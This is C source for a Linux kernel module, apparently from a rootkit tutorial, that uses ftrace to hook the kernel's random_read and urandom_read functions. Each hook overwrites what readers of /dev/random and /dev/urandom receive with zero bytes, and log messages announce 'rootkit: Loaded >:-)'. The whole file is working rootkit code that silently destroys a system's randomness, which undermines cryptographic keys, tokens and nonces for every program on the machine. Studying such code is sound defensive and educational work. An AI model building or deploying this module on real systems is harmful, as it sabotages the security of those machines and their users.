#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Interfering with char devices"); MODULE_VERSION("0.01"); /* Function pointer declarations for the real random_read() and urandom_read() */ static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos); /* Hook functions for random_read() and urandom_read() */ static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) { int bytes_read, i; long error; char *kbuf = NULL; /* Call the real random_read() file operation to set up all the structures */ bytes_read = orig_random_read(file, buf, nbytes, ppos); printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read); /* Allocate a kernel buffer that we will copy the random bytes into * Note that copy_from_user() returns the number of bytes that could NOT be copied */ kbuf = kzalloc(bytes_read, GFP_KERNEL); error = copy_from_user(kbuf, buf, bytes_read); if(error) { printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); kfree(kbuf); return bytes_read; } /* Fill kbuf with 0x00 */ for ( i = 0 ; i < bytes_read ; i++ ) kbuf[i] = 0x00; /* Copy the rigged kbuf back to userspace * Note that copy_to_user() returns the number of bytes that could NOT be copied */ error = copy_to_user(buf, kbuf, bytes_read); if (error) printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); kfree(kbuf); return bytes_read; } static asmlinkage ssize_t hook_urandom_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) { int bytes_read, i; long error; char *kbuf = NULL; /* Call the real urandom_read() file operation to set up all the structures */ bytes_read = orig_urandom_read(file, buf, nbytes, ppos); printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %d bytes", bytes_read); /* Allocate a kernel buffer that we will copy the random bytes into. * Note that copy_from_user() returns the number of bytes the could NOT be copied */ kbuf = kzalloc(bytes_read, GFP_KERNEL); error = copy_from_user(kbuf, buf, bytes_read); if(error) { printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); kfree(kbuf); return bytes_read; } /* Fill kbuf with 0x00 */ for ( i = 0 ; i < bytes_read ; i++ ) kbuf[i] = 0x00; /* Copy the rigged kbuf back to userspace * Note that copy_to_user() returns the number of bytes that could NOT be copied */ error = copy_to_user(buf, kbuf, bytes_read); if (error) printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); kfree(kbuf); return bytes_read; } /* We are going to use the fh_install_hooks() function from ftrace_helper.h * in the module initialization function. This function takes an array of * ftrace_hook structs, so we initialize it with what we want to hook * */ static struct ftrace_hook hooks[] = { HOOK("random_read", hook_random_read, &orig_random_read), HOOK("urandom_read", hook_urandom_read, &orig_urandom_read), }; /* Module initialization function */ static int __init rootkit_init(void) { /* Simply call fh_install_hooks() with hooks (defined above) */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); return 0; } static void __exit rootkit_exit(void) { /* Simply call fh_remove_hooks() with hooks (defined above) */ fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);